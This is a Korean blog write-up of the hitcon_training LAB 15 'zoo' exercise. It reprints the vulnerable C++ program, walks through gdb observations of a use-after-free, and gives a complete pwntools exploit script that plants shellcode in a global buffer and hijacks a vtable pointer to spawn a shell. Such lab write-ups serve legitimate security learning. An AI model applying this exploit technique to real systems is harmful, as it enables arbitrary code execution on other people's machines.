ghkdtlwns987

[hitcon_training] LAB 15 (zoo) 본문

hitcon_training

[hitcon_training] LAB 15 (zoo)

2020/03/31 2020. 9. 24. 00:27
#include <stdio.h>
#include <iostream>
#include <unistd.h>
#include <vector>
#include <string.h>
using namespace std;

char nameofzoo[100];

class Animal {
        public :
                Animal(){
                        memset(name,0,24);
                        weight = 0;
                }
                virtual void speak(){;}
                virtual void info(){;}
        protected :
                char name[24];
                int weight;
};

class Dog : public Animal{
        public :
                Dog(string str,int w){
                        strcpy(name,str.c_str());
                        weight = w ;
                }
                virtual void speak(){
                        cout << "Wow ~ Wow ~ Wow ~" << endl ;
                }
                virtual void info(){
                        cout << "|---------------------|" << endl ;
                        cout << "| Animal info         |" << endl;
                        cout << "|---------------------|" << endl;
                        cout << "  Weight :" << this->weight << endl ;
                        cout << "  Name : " << this->name << endl ;
                        cout << "|---------------------|" << endl;
                }
};
class Cat : public Animal{
        public :
                Cat(string str,int w){
                        strcpy(name,str.c_str());
                        weight = w ;
                }
                virtual void speak(){
                        cout << "Meow ~ Meow ~ Meow ~" << endl ;
                }
                virtual void info(){
                        cout << "|---------------------|" << endl ;
                        cout << "| Animal info         |" << endl;
                        cout << "|---------------------|" << endl;
                        cout << "  Weight :" << this->weight << endl ;
                        cout << "  Name : " << this->name << endl ;
                        cout << "|---------------------|" << endl;
                }

};

vector<Animal *> animallist ;

void menu(){
        cout << "*********************************" << endl ;
        cout << " 1. Add a dog                    " << endl ;
        cout << " 2. Add a cat                    " << endl ;
        cout << " 3. Listen a animal              " << endl ;
        cout << " 4. Show a animal info           " << endl ;
        cout << " 5. Remove a animal              " << endl ;
        cout << " 6. Exit                         " << endl ;
        cout << "*********************************" << endl ;
}


void adddog(){
        string name ;
        int weight ;
        cout << "Name : " ;
        cin >> name;
        cout << "Weight : " ;
        cin >> weight ;
        Dog *mydog = new Dog(name,weight);
        animallist.push_back(mydog);

}
void addcat(){
        string name ;
        int weight ;
        cout << "Name : " ;
        cin >> name;
        cout << "Weight : " ;
        cin >> weight ;
        Cat *mycat = new Cat(name,weight);
        animallist.push_back(mycat);

}

void remove(){
        unsigned int idx ;
        if(animallist.size() == 0){
                cout << "no any animal!" << endl ;
                return ;
        }
        cout << "index of animal : ";
        cin >> idx ;
        if(idx >= animallist.size()){
                cout << "out of bound !" << endl;
                return ;
        }
        delete animallist[idx];
        animallist.erase(animallist.begin()+idx);


}
void showinfo(){
        unsigned int idx ;
        if(animallist.size() == 0){
                cout << "no any animal!" << endl ;
                return ;
        }
        cout << "index of animal : ";
        cin >> idx ;
        if(idx >= animallist.size()){
                cout << "out of bound !" << endl;
                return ;
        }
        animallist[idx]->info();

}

void listen(){
        unsigned int idx ;
        if(animallist.size() == 0){
                cout << "no any animal!" << endl ;
                return ;
        }
        cout << "index of animal : ";
        cin >> idx ;
        if(idx >= animallist.size()){
                cout << "out of bound !" << endl;
                return ;
        }
        animallist[idx]->speak();

}
int main(void){
        unsigned int choice ;
        setvbuf(stdout,0,2,0);
        setvbuf(stdin,0,2,0);
        cout << "Name of Your zoo :" ;
        read(0,nameofzoo,100);
        while(1){
                menu();
                cout << "Your choice :";
                cin >> choice ;
                cout << endl ;
                switch(choice){
                        case 1 :
                                adddog();
                                break ;
                        case 2 :
                                addcat();
                                break ;
                        case 3 :
                                listen();
                                break ;
                        case 4 :
                                showinfo();
                                break ;
                        case 5 :
                                remove();
                                break ;
                        case 6 :
                                _exit(0);
                        default :
                                cout << "Invaild choice" << endl;
                                break ;
                }
        }
        return 0 ;
}

 

드디어 hitcon_training 마지막 문제이다. 마지막 문제였던 만큼 어떤 문제가 나올지 몰랐는데,

코드를 보자마자 c++이라서 너무 당황했었다. 난 C++ 을 한번도 공부해본적이 없어서 더욱 당황스러웠던 것 같다. 

 

모르는것들은 구글에 검색을 해서 알아보았지만, 몇가지는 C와 비슷해서 그나마 이해했던 것 같다. 

코드를 보면 adddog() 함수에서 new Dog(name,weight) 라고 되어있는데, 이를보고 왠지 직감적으로 heap 과 관련된 것 같았다.

그리고 바로 밑에 push_back 이라는게 있는데, 이는 heap 의 맨 마지막 부분에 값을 추가한다? 라고 알고있다. (정확히는 잘 모름...)

지막으로 vector 이라는게 있는데, 이는 C에서의 heap을 다룬다고 생각하자. 

(자세히 알고싶으면 C++로... 난 C만 공부해서 잘 모르고, 구글링으로 대충 알아낸 것일 뿐이다.)

 

다음으로 remove() 함수가 있는데, 이는 C로 치면 free() 시켜주는 것? 같다...(느낌상)

 

 

내가 이렇게 대충 설명했던 이유는 C++ 문법을 다 알아야 푸는게 아니라, gdb로 분석하며 감? 을 익혀나가자 라는것을 

말하기 위해서이다. 난 gdb로 어찌어찌해봤는데, heap을 할당하고, remove() 시킨후, 다시 add()로 heap을 할당하면 

이전에 있던 주소를 할당해 준다는 것을 알아냈다. 덕분에 UAF 취약점이 발생한다는 것을 알았고, 그 덕에 Exploit 할 수 있었다. 그래도, 문제들을 풀어보다 보면 C++ 언어는 간간히 보이던데, 적어도 어떤 뜻인지는 알 수 있도록 공부해보려 한다. 

 

그럼 문제풀이에 들어가도록 하겠다.

다음을 보면 NX가 비활성화 되어있다. 그러므로 쉘 코드를 넣어 Exploit 할 거다. 

 

다음으로, 어떻게 문제를 풀었는지 gdb로 분석해보자.

add_dog() 함수 1번 실행 (입력값 : BBBBBBBB)

add_dog() 함수 2번째 실행 (입력값 : CCCCCCCC)

 

다음으로 remove() 함수로 0번째 값을 remove() 해보겠다.

??? revmove() 함수를 썻는데, BBBBBBBB 값이 삭제가 안됬다.

하지만 그 외의 다른곳들은 0으로 바꼇다. (난 C++을 잘 모르므로 패스)... 쨋든 뭐가 없어지긴 했다.

(0x617e70 값을 위 그림과 비교해 보자.) 

 

 

다음은 똑같이 add_dog() 를 통해 DDDDDDDD 을 입력했는데, 

DDDDDDDD 이 맨 처음 add_dog() 함수를 호출했던 자리에 그대로 쓰였다. 

이는 곧 UAF 취약점으로 이어지는데, 0x403140 의 값에 shellcode 가 들어있는 주소로 바꿔줄 것이다. 

 

쉘 코드가 들어있는 주소로 수정했다면, 마지막으로 listen() 함수를 호출시키게 되면 

쉘 코드가 실행되어 Exploit 이 된다. 

(혹시나해서 적는데, 0x403140 의 주소를 확인해보면)

Dog::speak() 라고 되어있다. 

즉, 쉘 코드를 넣고, listen() 함수를 실행시키면 shellcode() 가 실행된다.

대충 이렇게.... 주소는 다를수밖에 없는게, 이 사진은 gdb.attach() 를 해서 얻은 사진이고, 

그 위의 것들은 그냥 gdb로 열어서 확인했던 거다. 

 

 

from pwn import *
context(arch='amd64',os='linux')
context.terminal =['tmux','splitw','-h']		#gdb.attach()를 통해 분석하고자 하는 분들중에, tmux를 사용안한다면 주석처리하세요 
context.log_level = 'debug'
r = process('./zoo')

#gdb.attach(r)

nameofzoo = 0x605420

def info_log():
    log.info('nameofzoo : '+hex(nameofzoo))
    log.info('adddog() : main+195')
    log.info('remove() : main+223')

def add(name,idx):
        r.sendlineafter(':', '1')
        r.sendlineafter(': ', name)
        r.sendlineafter(': ', str(idx))
        pause()

def listen(index):
        r.sendlineafter(':', '3')
        r.sendlineafter(': ', str(index))
        pause()

def remove(index):
        r.sendlineafter(':', '5')
        r.sendlineafter(': ', str(index))
        pause()

info_log()
shellcode = asm(shellcraft.amd64.sh())

payload = ''
payload += shellcode
payload += p64(nameofzoo)
r.sendlineafter(':', payload)

add('A' * 8, 2)
add('B' * 8, 3)
remove(0)

payload = ''
payload += 'C' * 72
payload += p64(nameofzoo + len(shellcode))
add(payload, 4)

listen(0)

r.interactive()

 

 

+ 이로서 hitcon_training 문제를 모두 풀었다. heap 때문에 너무 오래걸렸다. 

그래도 dreamhack 문제와 how2heap, 그리고 hepa 에 대해 공부했다는 것에 만족하겠다. 

사실은 지금도 heap 은 너무 먼 길이라고 느껴진다.

 

+전엔 dreamhack 은 나중에 푼다고 했는데, 마음이 바뀌었다. dreamhack 문제를 마저 풀고, 

pwnable.tw, HackCTF 쪽으로 넘어가려 한다...

Comments